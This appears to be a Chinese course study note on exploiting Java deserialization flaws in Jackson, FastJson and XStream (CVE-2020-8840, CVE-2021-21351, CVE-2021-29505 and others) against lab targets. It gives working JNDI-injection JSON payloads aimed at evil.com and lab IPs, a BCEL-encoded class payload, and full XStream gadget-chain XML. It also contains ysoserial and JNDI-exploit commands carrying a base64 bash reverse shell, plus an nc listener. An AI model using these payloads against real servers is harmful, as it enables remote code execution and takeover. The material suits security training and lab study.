小迪安全v2023学习笔记(八十三讲)—— 组件安全JacksonFastJsonXStreamCVE复现
文章目录
- 前记
- 服务攻防——第八十三天
- 开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现
- 黑白盒测试
- J2EE - Jackson组件-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- CVE-2020-8840
- CVE-2020-35728
- J2EE - FastJson组件-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- FastJson ≤ 1.2.24
- FastJson ≤ 1.2.47
- 工具使用
- J2EE - XStream-本地demo&CVE
- 漏洞介绍
- 漏洞复现
- CVE-2021-21351
- CVE-2021-29505
前记
- 今天是学习小迪安全的第八十三天,内容仍然是JAVA的组件安全,包括Jackson、FastJson以及XStream
- 本节课内容之前其实也讲过一些,所以更多的是理解黑盒测试的思路
- 所用到的本地demo资源已放至下方链接,需要自取:
- https://pan.baidu.com/s/1Z1jH9kq8jsWY_Uhp049GtA
- 提取码:cury
服务攻防——第八十三天
开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现
黑白盒测试
-
黑盒检测:Java应用,BP抓包看数据包请求参数是否以Json/Xml格式发送数据
-
黑盒判断:通过提交数据报错信息得到什么组件
- xml格式:XStream
- json格式:FastJson或Jackson
-
白盒测试:直接看引用组件版本
J2EE - Jackson组件-本地demo&CVE
漏洞介绍
- 当下流行的json解释器,主要负责处理Json的序列化和反序列化
- CVE-2020-8840:
- 漏洞描述:jackson-databind ≤ 2.9.10.2 的默认黑名单中漏掉了
org.apache.xbean.propertyeditor.JndiConverter
。当应用开启多态反序列化(enableDefaultTyping()
、@JsonTypeInfo
或 SpringFox 等框架隐式开启)时,攻击者可在 JSON 中传入["org.apache.xbean.propertyeditor.JndiConverter",{"asText":"ldap://evil/Exploit"}]
触发setAsText() → toObjectImpl() → InitialContext.lookup()
,造成 JNDI 注入,最终远程代码执行 - 影响版本:
jackson-databind 2.9
系列< 2.9.10.3
jackson-databind 2.8
系列< 2.8.11.5
jackson-databind
低于2.8系列
- 利用条件:
- 开启任意形式的多态反序列化
- 类路径存在 xbean-reflect(含
JndiConverter
) JDK ≤ 8u191 / 11.0.1
时可直接远程加载代码,高版本仍需本地 Factory 类绕过
- 漏洞描述:jackson-databind ≤ 2.9.10.2 的默认黑名单中漏掉了
- CVE-2020-35728:
- 漏洞描述:
Jackson-databind ≤2.9.10.7
默认黑名单漏了WebLogic
自带的JndiConnectionPool
,开多态时 JSON 里传@class
就能触发 JNDI 注入 → RCE。 - 影响版本:
jackson-databind 2.0.0 ~ 2.9.10.7
- 利用条件:
- 开启任意形式的多态反序列化(
enableDefaultTyping()
、@JsonTypeInfo
、activateDefaultTyping
均可) - 类路径存在
com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool
(WebLogic 12c/14c 默认自带;部分项目手动引入org.glassfish.web:javax.servlet.jsp.jstl
也会间接携带) - 目标 JDK ≤ 8u191 / 11.0.1 时可直接远程加载 Factory 类;高版本需本地可用 Factory 绕过
- 开启任意形式的多态反序列化(
- 漏洞描述:
- CVE-2023-35116:
- 漏洞描述:2.15.0-2.15.1 在修复 CVE-2022-42003 时只把
BasicDataSource
本身拉黑,却未限制其派生类及driverClassLoader
字段,攻击者仍可通过子类 + 二次反序列化完成代码执行。 - 影响版本:
jackson-databind 2.15.0 ~ 2.15.1
jackson-databind < 2.14
- 利用条件:
- 开启任意形式的 polymorphic typing(
@JsonTypeInfo
、enableDefaultTyping
、activateDefaultTyping
均可) - 类路径存在 commons-dbcp 2.x(比 CVE-2022-42003 要求更宽松,子类亦可)
- 入口字段为
Object
、Serializable
或DataSource
接口类型。
- 开启任意形式的 polymorphic typing(
- 漏洞描述:2.15.0-2.15.1 在修复 CVE-2022-42003 时只把
- 更多漏洞详见:https://avd.aliyun.com/search?q=Jackson
漏洞复现
CVE-2020-8840
-
启动
vulfocus
靶机,打开网站:
-
提示攻击路径为
Jacksondatabind/attack
,直接访问报错:
-
从报错中我们可以知道原因是没有
content
参数,并且发现它存在jackson
组件,于是我们就直接用网上的各种payload
开打 -
先启动一个JNDI注入的恶意文件网站:
-
然后插入我们的
payload
:
content=["org.apache.xbean.propertyeditor.JndiConverter",{"asText":"rmi://192.168.0.129:1099/fvpqm"}]
- 不过这里应该是环境的问题,我是怎么发送
payload
它都提示我content
参数为空 - 所以我们就采用本地demo来简单看一看漏洞利用成功的样子,关键的代码是这一段:
ObjectMapper mapper = new ObjectMapper();
// 必须开启多态
mapper.enableDefaultTyping();String json = "用户输入的变量";mapper.readValue(json, Object.class);
- 假设json是用户可以自定义的数据,那就可以插入
payload
进行测试:
[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://192.168.0.129:1389/fv0pqm\"}]
- 成功弹出计算器,如果未成功的注意Jdk版本要小于
8u191
CVE-2020-35728
-
还是启动一下
vulfocus
靶机试试看能不能用,打开网站:
-
同样是一个报错页面,也不知道什么情况,这里可以看到它还是使用的
jackson
,于是我们尝试payload
:
["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"rmi://192.168.0.129:1099/a9h1gu"}]
- 可能又是环境的问题,依旧一直是500报错页面,不管了,还是启动我们的本地
demo
,漏洞代码如下:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 必须开多态 String payload = "用户输入的变量"; mapper.readValue(payload, Object.class); // 触发
- 也成功弹出了计算器,利用成功
J2EE - FastJson组件-本地demo&CVE
漏洞介绍
- 阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
- 这里小迪并没有逐一介绍
fastjson
存在的CVE漏洞,而是针对不同版本的fastjson
进行分类,只是给出了POC - 具体的漏洞详见:https://avd.aliyun.com/search?q=fastjson
- FastJson ≤ 1.2.24:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/evilFile","autoCommit":true
}
- FastJson ≤ 1.2.47:
{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/evilFile","autoCommit":true}
}
- FastJson ≤ 1.2.80:使用该PoC只能用源码中调用的第三方库或者组件等,利用条件比较苛刻
{"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
}
{"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
}
{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
}
- 利用PoC合集:https://github.com/kezibei/fastjson_payload
漏洞复现
- 我们这里就还是使用本地demo进行演示,实战的话就是看哪些地方是传入的JSON数据,或者即使不是JSON格式的数据都可以直接插入
payload
尝试,总结一句话就是盲打
FastJson ≤ 1.2.24
- 发生漏洞的代码如下:
public class Poc { public static void main(String[] args) throws Exception { String payload = "用户可控制的JSON数据"; JSON.parseObject(payload, Feature.SupportNonPublicField); }
}
-
然后我们先在本地起一个RMI/LDAP服务器,放置恶意文件:
-
然后将
payload
替换为我们的PoC:
String payload = "{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://192.168.0.129:1389/bwno1y\",\n" + " \"autoCommit\":true\n" + "}";
- 成功弹出计算器
FastJson ≤ 1.2.47
- 产生漏洞的代码和上面一样:
public class Poc { public static void main(String[] args) { String payload = "用户可控制的JSON数据"; JSON.parseObject(payload, Feature.SupportNonPublicField); }
}
- 同样在本地起一个RMI/LDAP服务器,放置恶意文件,然后将
payload
的位置改为我们的PoC:
// 1.2.47 通杀 PoC:利用 java.lang.Class 把 JdbcRowSetImpl 写入缓存,
// 第二段再反序列化该缓存,即使 AutoType 关闭也能触发。
String poc = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://192.168.0.129:1389/bwno1y\",\n" + " \"autoCommit\":true\n" + " }\n" + "}";
- 也能够成功利用
工具使用
-
这里也是有关于它的扫描工具的,但是个人感觉不太好用:
-
JsonExp:狐狸工具箱自带,给出地址会帮你批量跑
payload
并生成一个网页端检查结果
-
FastjsonScan:这个emmm,感觉还行吧,但是对靶场还是没有检测利用成功
-
FastJson_JackSon:这个感觉就是第一个工具的图形化界面版,也是发送各种
payload
进行测试
-
-
这些工具怎么说呢,反正聊胜于无吧
J2EE - XStream-本地demo&CVE
漏洞介绍
- 开源Java类库,能将对象序列化成XML或XML反序列化为对象。
- CVE-2021-21351:
- 漏洞描述:XStream 在解析 XML 时允许实例化任意 Java 类,通过
java.beans.EventHandler
+java.lang.ProcessBuilder
的动态代理链,可直接在服务端执行操作系统命令,且无需任何第三方库依赖。 - 影响版本:
XStream ≤ 1.4.15
(1.4.16 起默认内置黑名单,阻断该链)
- 利用条件:
- 业务代码调用
xstream.fromXml(...)
的地方接受外部输入 - 未启用 XStream 安全框架(即没有调用
addPermission
/denyPermission
做白名单/黑名单) - 目标 JVM 版本 ≥ 8(
EventHandler
动态代理链在 8+ 稳定)
- 业务代码调用
- 漏洞描述:XStream 在解析 XML 时允许实例化任意 Java 类,通过
- CVE-2021-29505:
- 漏洞描述:XStream 在解析恶意构造的 XML 数据时,触发反序列化链,导致远程代码执行。攻击者可通过构造特定 XML 调用
java.beans.EventHandler
或javax.imageio.ImageIO
等类,绕过黑名单机制执行任意命令。 - 影响版本:
XStream ≤ 1.4.16
- 利用条件:
- 应用接受外部 XML 输入(如 REST API、SOAP 服务)
- 未配置 XStream 的安全框架(默认允许所有类型反序列化)
- 漏洞描述:XStream 在解析恶意构造的 XML 数据时,触发反序列化链,导致远程代码执行。攻击者可通过构造特定 XML 调用
- CVE-2021-39144:
- 漏洞描述:通过反序列化
javax.naming.InitialContext
类,触发 JNDI 注入,实现远程代码执行(类似 Log4j 漏洞) - 影响版本:
XStream ≤ 1.4.17
- 利用条件:
- 构造 XML 触发 JNDI 注入
- 服务器解析后从远程加载恶意类,执行命令。
- 漏洞描述:通过反序列化
- 更多漏洞详见:https://avd.aliyun.com/search?q=XStream
漏洞复现
- 这个网上并没有任何专门的工具可以批量检测,所以碰到了就只能手测了
CVE-2021-21351
-
这里我们启动
vulfocus
的靶机,然后打开网站:
-
这里还是假设我们知道这个地方是通过xml传输数据的,于是我们先生成一个恶意RMI/LDAP服务器,让他反弹Shell:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzYuNS4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.0.129
- 然后启动监听9900端口:
nc -lvvp 9900
- 再通过抓包POST提交如下
payload
:
<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>填入恶意RMI/LDAP地址</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParse reference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
-
和之前一样,我环境有问题,所以没有反弹成功,但是它是能够成功去请求文件的:
-
说明这个地方是存在漏洞的
CVE-2021-29505
-
打开
vulfocus
靶场,然后打开网站:
-
还是同样的网站,同样的提示,我们还是先生成一个恶意RMI/LDAP服务器,让他反弹Shell,但这里我们需要用
ysoserial
生成:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzYuNS4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}"
- 然后启动监听9900端口:
nc -lvvp 9900
- 再通过抓包POST提交如下
payload
:
<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>填入RMI/LDAP服务器地址</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>填入RMI/LDAP服务器地址</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>
- but我这里没有复现成功,也搞不懂是为什么